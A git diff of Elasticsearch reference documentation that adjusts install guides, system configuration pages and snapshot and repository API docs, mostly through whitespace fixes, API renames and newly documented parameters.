b/docs/reference/setup/install/docker.asciidoc @@ -89,7 +89,7 @@ potentially ignoring any firewall settings. If you don't want to expose port 920 a reverse proxy, replace `9200:9200` with `127.0.0.1:9200:9200` in the docker-compose.yml file. {es} will then only be accessible from the host machine itself. -The https://docs.docker.com/storage/volumes[Docker named volumes] +The https://docs.docker.com/storage/volumes[Docker named volumes] `data01`, `data02`, and `data03` store the node data directories so the data persists across restarts. If they don't already exist, `docker-compose` creates them when you bring up the cluster. -- @@ -163,7 +163,7 @@ sysctl -w vm.max_map_count=262144 -------------------------------------------- -- -* macOS with https://docs.docker.com/docker-for-mac[Docker for Mac] +* macOS with https://docs.docker.com/docker-for-mac[Docker for Mac] + -- The `vm.max_map_count` setting must be set within the xhyve virtual machine: @@ -288,9 +288,9 @@ By default, {es} automatically sizes JVM heap based on a nodes's recommend this default sizing for most production environments. If needed, you can override default sizing by manually setting JVM heap size. -To manually set the heap size in production, bind mount a <> file under `/usr/share/elasticsearch/config/jvm.options.d` that -includes your desired <> settings. +includes your desired <> settings. For testing, you can also manually set the heap size using the `ES_JAVA_OPTS` environment variable. For example, to use 16GB, specify `-e @@ -308,7 +308,7 @@ example +docker.elastic.co/elasticsearch/elasticsearch:{version}+. You should use a volume bound on `/usr/share/elasticsearch/data` for the following reasons: -. The data of your {es} node won't be lost if the container is killed +. The data of your {es} node won't be lost if the container is killed . {es} is I/O sensitive and the Docker storage driver is not ideal for fast I/O diff --git a/docs/reference/setup/install/etc-elasticsearch.asciidoc b/docs/reference/setup/install/etc-elasticsearch.asciidoc index e36a075c127ff..5adb6543503a7 100644 --- a/docs/reference/setup/install/etc-elasticsearch.asciidoc +++ b/docs/reference/setup/install/etc-elasticsearch.asciidoc @@ -10,5 +10,5 @@ Running commands from this directory or any subdirectories, such as the permissions. Elasticsearch loads its configuration from the -`/etc/elasticsearch/elasticsearch.yml` file by default. The format of this +`/etc/elasticsearch/elasticsearch.yml` file by default. The format of this config file is explained in <>. diff --git a/docs/reference/setup/install/next-steps.asciidoc b/docs/reference/setup/install/next-steps.asciidoc index e52cdfee077ed..e8674b0d19ea7 100644 --- a/docs/reference/setup/install/next-steps.asciidoc +++ b/docs/reference/setup/install/next-steps.asciidoc @@ -1,7 +1,7 @@ [role="exclude"] ==== Next steps -You now have a test {es} environment set up. Before you start +You now have a test {es} environment set up. Before you start serious development or go into production with {es}, you must do some additional setup: diff --git a/docs/reference/setup/install/rpm.asciidoc b/docs/reference/setup/install/rpm.asciidoc index 761d9c4eef6d6..3ed81b75d86b4 100644 --- a/docs/reference/setup/install/rpm.asciidoc +++ b/docs/reference/setup/install/rpm.asciidoc @@ -7,7 +7,7 @@ Elasticsearch on any RPM-based system such as OpenSuSE, SLES, Centos, Red Hat, and Oracle Enterprise. NOTE: RPM install is not supported on distributions with old versions of RPM, -such as SLES 11 and CentOS 5. Please see <> instead. +such as SLES 11 and CentOS 5. Please see <> instead. include::license.asciidoc[] @@ -150,7 +150,7 @@ include::sysconfig-file.asciidoc[] NOTE: Distributions that use `systemd` require that system resource limits be configured via `systemd` rather than via the `/etc/sysconfig/elasticsearch` -file. See <> for more information. +file. See <> for more information. [[rpm-layout]] ==== Directory layout of RPM @@ -185,7 +185,7 @@ locations for an RPM-based system: | data | The location of the data files of each index / shard allocated - on the node. Can hold multiple locations. + on the node. | /var/lib/elasticsearch | path.data diff --git a/docs/reference/setup/install/targz.asciidoc b/docs/reference/setup/install/targz.asciidoc index 7800200a0fcfe..64a9ceaefecb1 100644 --- a/docs/reference/setup/install/targz.asciidoc +++ b/docs/reference/setup/install/targz.asciidoc @@ -92,7 +92,7 @@ include::targz-daemon.asciidoc[] ==== Configuring Elasticsearch on the command line Elasticsearch loads its configuration from the `$ES_HOME/config/elasticsearch.yml` -file by default. The format of this config file is explained in +file by default. The format of this config file is explained in <>. Any settings that can be specified in the config file can also be specified on @@ -116,7 +116,7 @@ created when unpacking the archive. This is very convenient because you don't have to create any directories to start using Elasticsearch, and uninstalling Elasticsearch is as easy as -removing the `$ES_HOME` directory. However, it is advisable to change the +removing the `$ES_HOME` directory. However, it is advisable to change the default locations of the config directory, the data directory, and the logs directory so that you do not delete important data later on. @@ -142,7 +142,7 @@ directory so that you do not delete important data later on. | data | The location of the data files of each index / shard allocated - on the node. Can hold multiple locations. + on the node. | $ES_HOME/data | path.data diff --git a/docs/reference/setup/install/windows.asciidoc b/docs/reference/setup/install/windows.asciidoc index 31b00bcf5bdc7..f34b52addee12 100644 --- a/docs/reference/setup/install/windows.asciidoc +++ b/docs/reference/setup/install/windows.asciidoc @@ -3,7 +3,7 @@ beta[] -Elasticsearch can be installed on Windows using the `.msi` package. This can +Elasticsearch can be installed on Windows using the `.msi` package. This can install Elasticsearch as a Windows service or allow it to be run manually using the included `elasticsearch.exe` executable. @@ -362,7 +362,7 @@ the command line, using the `-E` syntax as follows: .\bin\elasticsearch.exe -E cluster.name=my_cluster -E node.name=node_1 -------------------------------------------- -NOTE: Values that contain spaces must be surrounded with quotes. For instance `-E path.logs="C:\My Logs\logs"`. +NOTE: Values that contain spaces must be surrounded with quotes. For instance `-E path.logs="C:\My Logs\logs"`. TIP: Typically, any cluster-wide settings (like `cluster.name`) should be added to the `elasticsearch.yml` config file, while any node-specific settings diff --git a/docs/reference/setup/install/zip-windows.asciidoc b/docs/reference/setup/install/zip-windows.asciidoc index 98a59814a0b01..567b3419a5584 100644 --- a/docs/reference/setup/install/zip-windows.asciidoc +++ b/docs/reference/setup/install/zip-windows.asciidoc @@ -1,7 +1,7 @@ [[zip-windows]] === Install Elasticsearch with `.zip` on Windows -Elasticsearch can be installed on Windows using the Windows `.zip` archive. This +Elasticsearch can be installed on Windows using the Windows `.zip` archive. This comes with a `elasticsearch-service.bat` command which will setup Elasticsearch to run as a service. @@ -41,7 +41,7 @@ ifeval::["{release-state}"!="unreleased"] Download the `.zip` archive for Elasticsearch v{version} from: https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-windows-x86_64.zip -Unzip it with your favourite unzip tool. This will create a folder called +Unzip it with your favourite unzip tool. This will create a folder called +elasticsearch-{version}+, which we will refer to as `%ES_HOME%`. In a terminal window, `cd` to the `%ES_HOME%` directory, for instance: @@ -68,7 +68,7 @@ include::zip-windows-start.asciidoc[] ==== Configuring Elasticsearch on the command line Elasticsearch loads its configuration from the `%ES_HOME%\config\elasticsearch.yml` -file by default. The format of this config file is explained in +file by default. The format of this config file is explained in <>. Any settings that can be specified in the config file can also be specified on @@ -79,7 +79,7 @@ the command line, using the `-E` syntax as follows: .\bin\elasticsearch.bat -Ecluster.name=my_cluster -Enode.name=node_1 -------------------------------------------- -NOTE: Values that contain spaces must be surrounded with quotes. For instance `-Epath.logs="C:\My Logs\logs"`. +NOTE: Values that contain spaces must be surrounded with quotes. For instance `-Epath.logs="C:\My Logs\logs"`. TIP: Typically, any cluster-wide settings (like `cluster.name`) should be added to the `elasticsearch.yml` config file, while any node-specific settings @@ -161,11 +161,11 @@ The Elasticsearch service can be configured prior to installation by setting the `SERVICE_DISPLAY_NAME`:: - The name of the service. Defaults to `Elasticsearch %SERVICE_ID%`. + The name of the service. Defaults to `Elasticsearch %SERVICE_ID%`. `SERVICE_DESCRIPTION`:: - The description of the service. Defaults to `Elasticsearch Windows Service - https://elastic.co`. + The description of the service. Defaults to `Elasticsearch Windows Service - https://elastic.co`. `ES_JAVA_HOME`:: @@ -190,11 +190,11 @@ The Elasticsearch service can be configured prior to installation by setting the `ES_START_TYPE`:: - Startup mode for the service. Can be either `auto` or `manual` (default). + Startup mode for the service. Can be either `auto` or `manual` (default). `ES_STOP_TIMEOUT` :: - The timeout in seconds that procrun waits for service to exit gracefully. Defaults to `0`. + The timeout in seconds that procrun waits for service to exit gracefully. Defaults to `0`. NOTE: At its core, `elasticsearch-service.bat` relies on https://commons.apache.org/proper/commons-daemon/[Apache Commons Daemon] project to install the service. Environment variables set prior to the service installation are copied and will be used during the service lifecycle. This means any changes made to them after the installation will not be picked up unless the service is reinstalled. @@ -207,8 +207,8 @@ production environments. If needed, you can override default sizing by manually setting the heap size. When installing {es} on Windows as a service for the first time or running {es} -from the command line, you can manually set the heap size as described in -<>. To resize the heap for an already installed service, +from the command line, you can manually <>. +To resize the heap for an already installed service, use the service manager: `bin\elasticsearch-service.bat manager`. ==== @@ -222,7 +222,7 @@ before you execute the service installation. Using the Manager GUI:: -It is also possible to configure the service after it's been installed using the manager GUI (`elasticsearch-service-mgr.exe`), which offers insight into the installed service, including its status, startup type, JVM, start and stop settings amongst other things. Simply invoking `elasticsearch-service.bat manager` from the command-line will open up the manager window: +It is also possible to configure the service after it's been installed using the manager GUI (`elasticsearch-service-mgr.exe`), which offers insight into the installed service, including its status, startup type, JVM, start and stop settings amongst other things. Simply invoking `elasticsearch-service.bat manager` from the command-line will open up the manager window: image::images/service-manager-win.png["Windows Service Manager GUI",align="center"] @@ -237,7 +237,7 @@ unpacking the archive. This is very convenient because you don't have to create any directories to start using Elasticsearch, and uninstalling Elasticsearch is as easy as -removing the `%ES_HOME%` directory. However, it is advisable to change the +removing the `%ES_HOME%` directory. However, it is advisable to change the default locations of the config directory, the data directory, and the logs directory so that you do not delete important data later on. @@ -263,7 +263,7 @@ directory so that you do not delete important data later on. | data | The location of the data files of each index / shard allocated - on the node. Can hold multiple locations. + on the node. | %ES_HOME%\data | path.data diff --git a/docs/reference/setup/jvm-options.asciidoc b/docs/reference/setup/jvm-options.asciidoc deleted file mode 100644 index f8dc87f14a081..0000000000000 --- a/docs/reference/setup/jvm-options.asciidoc +++ /dev/null @@ -1,90 +0,0 @@ -[[jvm-options]] -=== Setting JVM options - -You should rarely need to change Java Virtual Machine (JVM) options. {es} -includes default JVM options that work well for most production environments. If -needed, you can override these default options using `jvm.options` files or the -`ES_JAVA_OPTS` environment variable. - -The preferred method of setting or overriding JVM options is via JVM options -files. When installing from the tar or zip distributions, the root `jvm.options` -configuration file is `config/jvm.options` and custom JVM options files can be -added to `config/jvm.options.d/`. When installing from the Debian or RPM -packages, the root `jvm.options` configuration file is -`/etc/elasticsearch/jvm.options` and custom JVM options files can be added to -`/etc/elasticsearch/jvm.options.d/`. When using the <> you can bind mount custom JVM options files into -`/usr/share/elasticsearch/config/jvm.options.d/`. You should never need to -modify the root `jvm.options` file instead preferring to use custom JVM options -files. The processing ordering of custom JVM options is lexicographic. - -JVM options files must have the suffix '.options' and contain a line-delimited -list of JVM arguments following a special syntax: - -* lines consisting of whitespace only are ignored -* lines beginning with `#` are treated as comments and are ignored -+ -[source,text] -------------------------------------- -# this is a comment -------------------------------------- - -* lines beginning with a `-` are treated as a JVM option that applies - independent of the version of the JVM -+ -[source,text] -------------------------------------- --Xmx2g -------------------------------------- - -* lines beginning with a number followed by a `:` followed by a `-` are treated - as a JVM option that applies only if the version of the JVM matches the number -+ -[source,text] -------------------------------------- -8:-Xmx2g -------------------------------------- - -* lines beginning with a number followed by a `-` followed by a `:` are treated - as a JVM option that applies only if the version of the JVM is greater than or - equal to the number -+ -[source,text] -------------------------------------- -8-:-Xmx2g -------------------------------------- - -* lines beginning with a number followed by a `-` followed by a number followed - by a `:` are treated as a JVM option that applies only if the version of the - JVM falls in the range of the two numbers -+ -[source,text] -------------------------------------- -8-9:-Xmx2g -------------------------------------- - -* all other lines are rejected - -An alternative mechanism for setting Java Virtual Machine options is via the -`ES_JAVA_OPTS` environment variable. For instance: - -[source,sh] ---------------------------------- -export ES_JAVA_OPTS="$ES_JAVA_OPTS -Djava.io.tmpdir=/path/to/temp/dir" -./bin/elasticsearch ---------------------------------- - -When using the RPM or Debian packages, `ES_JAVA_OPTS` can be specified in the -<>. - -The JVM has a built-in mechanism for observing the `JAVA_TOOL_OPTIONS` -environment variable. We intentionally ignore this environment variable in our -packaging scripts. The primary reason for this is that on some OS (e.g., Ubuntu) -there are agents installed by default via this environment variable that we do -not want interfering with {es}. - -Additionally, some other Java programs support the `JAVA_OPTS` environment -variable. This is *not* a mechanism built into the JVM but instead a convention -in the ecosystem. However, we do not support this environment variable, instead -supporting setting JVM options via the `jvm.options` file or the environment -variable `ES_JAVA_OPTS` as above. diff --git a/docs/reference/setup/restart-cluster.asciidoc b/docs/reference/setup/restart-cluster.asciidoc index 8d3df2be91b1b..c00d0adc1b968 100644 --- a/docs/reference/setup/restart-cluster.asciidoc +++ b/docs/reference/setup/restart-cluster.asciidoc @@ -209,7 +209,7 @@ GET _cat/nodes . *Reenable shard allocation.* + -- -Once the node has joined the cluster, remove the +For data nodes, once the node has joined the cluster, remove the `cluster.routing.allocation.enable` setting to enable shard allocation and start using the node: diff --git a/docs/reference/setup/sysconfig.asciidoc b/docs/reference/setup/sysconfig.asciidoc index dc9072d6906df..341b488a905ec 100644 --- a/docs/reference/setup/sysconfig.asciidoc +++ b/docs/reference/setup/sysconfig.asciidoc @@ -2,7 +2,7 @@ == Important System Configuration Ideally, Elasticsearch should run alone on a server and use all of the -resources available to it. In order to do so, you need to configure your +resources available to it. In order to do so, you need to configure your operating system to allow the user running Elasticsearch to access more resources than allowed by default. @@ -27,8 +27,8 @@ Elasticsearch node. As soon as you configure a network setting like `network.host`, Elasticsearch assumes that you are moving to production and will upgrade the above warnings -to exceptions. These exceptions will prevent your Elasticsearch node from -starting. This is an important safety measure to ensure that you will not +to exceptions. These exceptions will prevent your Elasticsearch node from +starting. This is an important safety measure to ensure that you will not lose data because of a malconfigured server. include::sysconfig/configuring.asciidoc[] diff --git a/docs/reference/setup/sysconfig/configuring.asciidoc b/docs/reference/setup/sysconfig/configuring.asciidoc index 7976efee84fe2..61255b88fa096 100644 --- a/docs/reference/setup/sysconfig/configuring.asciidoc +++ b/docs/reference/setup/sysconfig/configuring.asciidoc @@ -19,7 +19,7 @@ require that system limits are specified in a On Linux systems, `ulimit` can be used to change resource limits on a temporary basis. Limits usually need to be set as `root` before switching to -the user that will run Elasticsearch. For example, to set the number of +the user that will run Elasticsearch. For example, to set the number of open file handles (`ulimit -n`) to 65,536, you can do the following: [source,sh] @@ -55,7 +55,7 @@ a new session. [NOTE] .Ubuntu and `limits.conf` =============================== -Ubuntu ignores the `limits.conf` file for processes started by `init.d`. To +Ubuntu ignores the `limits.conf` file for processes started by `init.d`. To enable the `limits.conf` file, edit `/etc/pam.d/su` and uncomment the following line: diff --git a/docs/reference/setup/sysconfig/dns-cache.asciidoc b/docs/reference/setup/sysconfig/dns-cache.asciidoc index 94c469c978ce7..dfeb90bb049bb 100644 --- a/docs/reference/setup/sysconfig/dns-cache.asciidoc +++ b/docs/reference/setup/sysconfig/dns-cache.asciidoc @@ -9,7 +9,7 @@ positive lookups for sixty seconds, and to cache negative lookups for ten seconds. These values should be suitable for most environments, including environments where DNS resolutions vary with time. If not, you can edit the values `es.networkaddress.cache.ttl` and `es.networkaddress.cache.negative.ttl` -in the <>. Note that the values +in the <>. Note that the values https://docs.oracle.com/javase/8/docs/technotes/guides/net/properties.html[`networkaddress.cache.ttl=`] and https://docs.oracle.com/javase/8/docs/technotes/guides/net/properties.html[`networkaddress.cache.negative.ttl=`] diff --git a/docs/reference/setup/sysconfig/executable-jna-tmpdir.asciidoc b/docs/reference/setup/sysconfig/executable-jna-tmpdir.asciidoc index 0ede64d57b701..da3ccc1c50a30 100644 --- a/docs/reference/setup/sysconfig/executable-jna-tmpdir.asciidoc +++ b/docs/reference/setup/sysconfig/executable-jna-tmpdir.asciidoc @@ -6,9 +6,10 @@ This is only relevant for Linux. Elasticsearch uses the Java Native Access (JNA) library for executing some platform-dependent native code. On Linux, the native code backing this library -is extracted at runtime from the JNA archive. By default, this code is extracted +is extracted at runtime from the JNA archive. This code is extracted to the Elasticsearch temporary directory which defaults to a sub-directory of -`/tmp`. Alternatively, this location can be controlled with the JVM flag +`/tmp` and can be configured with the <> variable. +Alternatively, this location can be controlled with the JVM flag `-Djna.tmpdir=`. As the native library is mapped into the JVM virtual address space as executable, the underlying mount point of the location that this code is extracted to must *not* be mounted with `noexec` as this prevents @@ -16,7 +17,7 @@ the JVM process from being able to map this code as executable. On some hardened Linux installations this is a default mount option for `/tmp`. One indication that the underlying mount is mounted with `noexec` is that at startup JNA will fail to load with a `java.lang.UnsatisfiedLinkerError` exception with a message -along the lines of `failed to map segment from shared object`. Note that the +along the lines of `failed to map segment from shared object`. Note that the exception message can differ amongst JVM versions. Additionally, the components of Elasticsearch that rely on execution of native code via JNA will fail with messages indicating that it is `because JNA is not available`. If you are seeing diff --git a/docs/reference/setup/sysconfig/file-descriptors.asciidoc b/docs/reference/setup/sysconfig/file-descriptors.asciidoc index 27d330b6a5415..905a29d846c38 100644 --- a/docs/reference/setup/sysconfig/file-descriptors.asciidoc +++ b/docs/reference/setup/sysconfig/file-descriptors.asciidoc @@ -7,7 +7,7 @@ Elasticsearch on Windows. On Windows that JVM uses an https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx[API] limited only by available resources. -Elasticsearch uses a lot of file descriptors or file handles. Running out of +Elasticsearch uses a lot of file descriptors or file handles. Running out of file descriptors can be disastrous and will most probably lead to data loss. Make sure to increase the limit on the number of open files descriptors for the user running Elasticsearch to 65,536 or higher. diff --git a/docs/reference/setup/sysconfig/swap.asciidoc b/docs/reference/setup/sysconfig/swap.asciidoc index fa4c18807c526..86a9307f68271 100644 --- a/docs/reference/setup/sysconfig/swap.asciidoc +++ b/docs/reference/setup/sysconfig/swap.asciidoc @@ -79,11 +79,11 @@ GET _nodes?filter_path=**.mlockall -------------- If you see that `mlockall` is `false`, then it means that the `mlockall` -request has failed. You will also see a line with more information in the logs +request has failed. You will also see a line with more information in the logs with the words `Unable to lock JVM Memory`. The most probable reason, on Linux/Unix systems, is that the user running -Elasticsearch doesn't have permission to lock memory. This can be granted as +Elasticsearch doesn't have permission to lock memory. This can be granted as follows: `.zip` and `.tar.gz`:: diff --git a/docs/reference/setup/sysconfig/virtual-memory.asciidoc b/docs/reference/setup/sysconfig/virtual-memory.asciidoc index 67aff16d24a3c..07f37f4717b1c 100644 --- a/docs/reference/setup/sysconfig/virtual-memory.asciidoc +++ b/docs/reference/setup/sysconfig/virtual-memory.asciidoc @@ -2,7 +2,7 @@ === Virtual memory Elasticsearch uses a <> directory by -default to store its indices. The default operating system limits on mmap +default to store its indices. The default operating system limits on mmap counts is likely to be too low, which may result in out of memory exceptions. On Linux, you can increase the limits by running the following command as @@ -14,7 +14,7 @@ sysctl -w vm.max_map_count=262144 ------------------------------------- To set this value permanently, update the `vm.max_map_count` setting in -`/etc/sysctl.conf`. To verify after rebooting, run `sysctl vm.max_map_count`. +`/etc/sysctl.conf`. To verify after rebooting, run `sysctl vm.max_map_count`. -The RPM and Debian packages will configure this setting automatically. No +The RPM and Debian packages will configure this setting automatically. No further configuration is required. diff --git a/docs/reference/slm/apis/slm-get.asciidoc b/docs/reference/slm/apis/slm-get.asciidoc index 31e1b5c189f9b..2ec00a94960b7 100644 --- a/docs/reference/slm/apis/slm-get.asciidoc +++ b/docs/reference/slm/apis/slm-get.asciidoc @@ -111,7 +111,7 @@ This request returns the following response: } -------------------------------------------------- // TESTRESPONSE[s/"modified_date": "2019-04-23T01:30:00.000Z"/"modified_date": $body.daily-snapshots.modified_date/ s/"modified_date_millis": 1556048137314/"modified_date_millis": $body.daily-snapshots.modified_date_millis/ s/"next_execution": "2019-04-24T01:30:00.000Z"/"next_execution": $body.daily-snapshots.next_execution/ s/"next_execution_millis": 1556048160000/"next_execution_millis": $body.daily-snapshots.next_execution_millis/] -<1> The version of the snapshot policy, only the latest verison is stored and incremented when the policy is updated +<1> The version of the snapshot policy, only the latest version is stored and incremented when the policy is updated <2> The last time this policy was modified. <3> The next time this policy will be executed. diff --git a/docs/reference/slm/apis/slm-put.asciidoc b/docs/reference/slm/apis/slm-put.asciidoc index ff11289f62f18..7785c08d09f86 100644 --- a/docs/reference/slm/apis/slm-put.asciidoc +++ b/docs/reference/slm/apis/slm-put.asciidoc @@ -1,7 +1,7 @@ [[slm-api-put-policy]] -=== Put snapshot lifecycle policy API +=== Create or update snapshot lifecycle policy API ++++ -Put policy +Create or update policy ++++ Creates or updates a snapshot lifecycle policy. @@ -23,7 +23,7 @@ For more information, see <>. [[slm-api-put-desc]] ==== {api-description-title} -Use the put snapshot lifecycle policy API +Use the create or update snapshot lifecycle policy API to create or update a snapshot lifecycle policy. If the policy already exists, @@ -94,7 +94,8 @@ Retention rules used to retain and delete snapshots created by the policy. `expire_after`:: (Optional, <>) Time period after which a snapshot is considered expired and eligible for -deletion. +deletion. {slm-init} deletes expired snapshots based on the +<>. `max_count`:: (Optional, integer) @@ -113,8 +114,8 @@ Minimum number of snapshots to retain, even if the snapshots have expired. `schedule`:: (Required, <>) -Periodic or absolute schedule at which the policy creates snapshots and deletes -expired snapshots. Schedule changes to existing policies are applied immediately. +Periodic or absolute schedule at which the policy creates snapshots. {slm-init} +applies `schedule` changes immediately. [[slm-api-put-example]] ==== {api-examples-title} diff --git a/docs/reference/slm/getting-started-slm.asciidoc b/docs/reference/slm/getting-started-slm.asciidoc index a0dfd0e3b0e22..cdc82b3ae2241 100644 --- a/docs/reference/slm/getting-started-slm.asciidoc +++ b/docs/reference/slm/getting-started-slm.asciidoc @@ -28,7 +28,7 @@ Remote repositories are generally used for production deployments. For this tutorial, you can register a local repository from {kibana-ref}/snapshot-repositories.html[{kib} Management] -or use the put repository API: +or use the create or update repository API: [source,console] ----------------------------------- @@ -55,12 +55,13 @@ automatically delete snapshots when they are no longer needed. TIP: Don't be afraid to configure a policy that takes frequent snapshots. Snapshots are incremental and make efficient use of storage. -You can define and manage policies through {kib} Management or with the put policy API. +You can define and manage policies through {kib} Management or with the create +or update policy API. For example, you could define a `nightly-snapshots` policy -to back up all of your data streams and indices daily at 2:30AM UTC. +to back up all of your data streams and indices daily at 1:30AM UTC. -A put policy request defines the policy configuration in JSON: +A create or update policy request defines the policy configuration in JSON: [source,console] -------------------------------------------------- @@ -81,7 +82,7 @@ PUT /_slm/policy/nightly-snapshots -------------------------------------------------- // TEST[continued] <1> When the snapshot should be taken in - <>: daily at 2:30AM UTC + <>: daily at 1:30AM UTC <2> How to name the snapshot: use <> to include the current date in the snapshot name <3> Where to store the snapshot diff --git a/docs/reference/snapshot-restore/apis/create-snapshot-api.asciidoc b/docs/reference/snapshot-restore/apis/create-snapshot-api.asciidoc index bcad8e399211b..9f13c4b25549f 100644 --- a/docs/reference/snapshot-restore/apis/create-snapshot-api.asciidoc +++ b/docs/reference/snapshot-restore/apis/create-snapshot-api.asciidoc @@ -48,11 +48,13 @@ You can use the create snapshot API to create a <>, w backup taken from a running {es} cluster. By default, a snapshot includes all data streams and open indices in the -cluster, as well as the cluster state. You can change this behavior by +cluster, as well as the cluster state. You can change this behavior by specifying a list of data streams and indices to back up in the body of the snapshot request. -NOTE: You must register a snapshot repository before performing snapshot and restore operations. Use the <> to register new repositories and update existing ones. +NOTE: You must register a snapshot repository before performing snapshot and +restore operations. Use the <> to register new repositories and update existing ones. The snapshot process is incremental. When creating a snapshot, {es} analyzes the list of files that are already stored in the repository and copies only files that were created or changed since the last snapshot. This process allows multiple snapshots to be preserved in the repository in a compact form. @@ -119,7 +121,7 @@ IMPORTANT: By default, the entire snapshot will fail if one or more indices incl (Optional, array of strings) A list of feature states to be included in this snapshot. A list of features available for inclusion in the snapshot and their descriptions be can be -retrieved using the <>. +retrieved using the <>. Each feature state includes one or more system indices containing data necessary for the function of that feature. Providing an empty array will include no feature states in the snapshot, regardless of the value of `include_global_state`. diff --git a/docs/reference/snapshot-restore/apis/get-repo-api.asciidoc b/docs/reference/snapshot-restore/apis/get-repo-api.asciidoc index 72de7e16ad91c..7360f550b46b4 100644 --- a/docs/reference/snapshot-restore/apis/get-repo-api.asciidoc +++ b/docs/reference/snapshot-restore/apis/get-repo-api.asciidoc @@ -44,7 +44,7 @@ GET /_snapshot/my_repository ==== {api-path-parms-title} ``:: -(Required, string) +(Optional, string) Comma-separated list of snapshot repository names used to limit the request. Wildcard (`*`) expressions are supported. + @@ -112,8 +112,9 @@ Contains settings for the repository. Valid properties for the `settings` object depend on the repository type, set using the <> parameter. + -For properties, see the <>'s -<>. +For properties, see the <>'s <>. ==== [[get-snapshot-repo-api-example]] diff --git a/docs/reference/snapshot-restore/apis/get-snapshot-api.asciidoc b/docs/reference/snapshot-restore/apis/get-snapshot-api.asciidoc index 35a9a0e8d4611..840235fa4b2fa 100644 --- a/docs/reference/snapshot-restore/apis/get-snapshot-api.asciidoc +++ b/docs/reference/snapshot-restore/apis/get-snapshot-api.asciidoc @@ -86,9 +86,17 @@ If `true`, the request ignores snapshots that are unavailable, such as those tha `verbose`:: (Optional, Boolean) -If `true`, returns all available information about a snapshot. Defaults to `true`. -+ -If `false`, omits additional information about the snapshot, such as version information, start and end times, and the number of snapshotted shards. +If `true`, returns additional information about each snapshot such as the +version of Elasticsearch which took the snapshot, the start and end times of +the snapshot, and the number of shards snapshotted. Defaults to `true`. If +`false`, omits the additional information. + +`index_details`:: +(Optional, Boolean) +If `true`, returns additional information about each index in the snapshot +comprising the number of shards in the index, the total size of the index in +bytes, and the maximum number of segments per shard in the index. Defaults to +`false`, meaning that this information is omitted. [role="child_attributes"] [[get-snapshot-api-response-body]] @@ -114,6 +122,33 @@ Build ID of the {es} version used to create the snapshot. (array) List of indices included in the snapshot. +`index_details`:: +(object) +Details of each index in the snapshot, keyed by index name. Only present if the +`?index_details` query parameter is set, and only contains details for indices +that were completely snapshotted in a sufficiently recent version of {es}. ++ +.Properties of `index_details` +[%collapsible%open] +==== +`shard_count`:: +(integer) +Number of shards in this index. + +`size`:: +(string) +Total size of all shards in this index. Only present if the `?human` query +paramter is set. + +`size_in_bytes`:: +(long) +Total size of all shards in this index, in bytes. + +`max_segments_per_shard`:: +(integer) +Maximum number of segments per shard in this index snapshot. +==== + `data_streams`:: (array) List of <> included in the snapshot. diff --git a/docs/reference/snapshot-restore/apis/get-snapshottable-features-api.asciidoc b/docs/reference/snapshot-restore/apis/get-snapshottable-features-api.asciidoc deleted file mode 100644 index 6515a03936586..0000000000000 --- a/docs/reference/snapshot-restore/apis/get-snapshottable-features-api.asciidoc +++ /dev/null @@ -1,56 +0,0 @@ -[[get-snapshottable-features-api]] -=== Get Snapshottable Features API -++++ -Get snapshottable features -++++ - -Gets a list of features which can be included in snapshots using the -<> when creating a -snapshot. - -[source,console] ------------------------------------ -GET /_snapshottable_features ------------------------------------ - -[[get-snapshottable-features-api-request]] -==== {api-request-title} - -`GET /_snapshottable_features` - - -[[get-snapshottable-features-api-desc]] -==== {api-description-title} - -You can use the get snapshottable features API to determine which feature states -to include when <>. By default, all -feature states are included in a snapshot if that snapshot includes the global -state, or none if it does not. - -A feature state includes one or more system indices necessary for a given -feature to function. In order to ensure data integrity, all system indices that -comprise a feature state are snapshotted and restored together. - -The features listed by this API are a combination of built-in features and -features defined by plugins. In order for a feature's state to be listed in this -API and recognized as a valid feature state by the create snapshot API, the -plugin which defines that feature must be installed on the master node. - -==== {api-examples-title} - -[source,console-result] ----- -{ - "features": [ - { - "name": "tasks", - "description": "Manages task results" - }, - { - "name": "kibana", - "description": "Manages Kibana configuration and reports" - } - ] -} ----- -// TESTRESPONSE[skip:response differs between default distro and OSS] diff --git a/docs/reference/snapshot-restore/apis/put-repo-api.asciidoc b/docs/reference/snapshot-restore/apis/put-repo-api.asciidoc index ce96f63ca653e..fdf56d9f57d8a 100644 --- a/docs/reference/snapshot-restore/apis/put-repo-api.asciidoc +++ b/docs/reference/snapshot-restore/apis/put-repo-api.asciidoc @@ -1,7 +1,7 @@ [[put-snapshot-repo-api]] -=== Put snapshot repository API +=== Create or update snapshot repository API ++++ -Put snapshot repository +Create or update snapshot repository ++++ Registers or updates a <>. diff --git a/docs/reference/snapshot-restore/apis/repo-analysis-api.asciidoc b/docs/reference/snapshot-restore/apis/repo-analysis-api.asciidoc index a42e0f482263e..f9925853df9b4 100644 --- a/docs/reference/snapshot-restore/apis/repo-analysis-api.asciidoc +++ b/docs/reference/snapshot-restore/apis/repo-analysis-api.asciidoc @@ -32,6 +32,16 @@ POST /_snapshot/my_repository/_analyze?blob_count=10&max_blob_size=1mb&timeout=1 `POST /_snapshot//_analyze` +[[repo-analysis-api-prereqs]] +==== {api-prereq-title} + +* If the {es} {security-features} are enabled, you must have the `manage` +<> to use this API. For more +information, see <>. + +* If the <> is enabled, only operator +users can use this API. + [[repo-analysis-api-desc]] ==== {api-description-title} @@ -141,6 +151,11 @@ uploads. Similarly, the reading nodes will use a variety of different methods to read the data back again. For instance they may read the entire blob from start to end, or may read only a subset of the data. +For some blob-level tasks, the executing node will abort the write before it is +complete. In this case it still instructs some of the other nodes in the +cluster to attempt to read the blob, but all of these reads must fail to find +the blob. + [[repo-analysis-api-path-params]] ==== {api-path-parms-title} @@ -182,7 +197,7 @@ Defaults to `10`. `read_node_count`:: (Optional, integer) The number of nodes on which to perform a read operation -after writing each blob. Defaults to `10`. +after writing each blob. Defaults to `10`. `early_read_node_count`:: (Optional, integer) The number of nodes on which to perform an early read @@ -190,8 +205,8 @@ operation while writing each blob. Defaults to `2`. Early read operations are only rarely performed. `rare_action_probability`:: -(Optional, double) The probability of performing a rare action (an early read -or an overwrite) on each blob. Defaults to `0.02`. +(Optional, double) The probability of performing a rare action (an early read, +an overwrite, or an aborted write) on each blob. Defaults to `0.02`. `seed`:: (Optional, integer) The seed for the pseudo-random number generator used to @@ -205,6 +220,10 @@ always happen in the same order on each run. information for every operation performed during the analysis. Defaults to `false`, meaning to return only a summary of the analysis. +`rarely_abort_writes`:: +(Optional, boolean) Whether to rarely abort some write requests. Defaults to +`true`. + [role="child_attributes"] [[repo-analysis-api-response-body]] ==== {api-response-body-title} 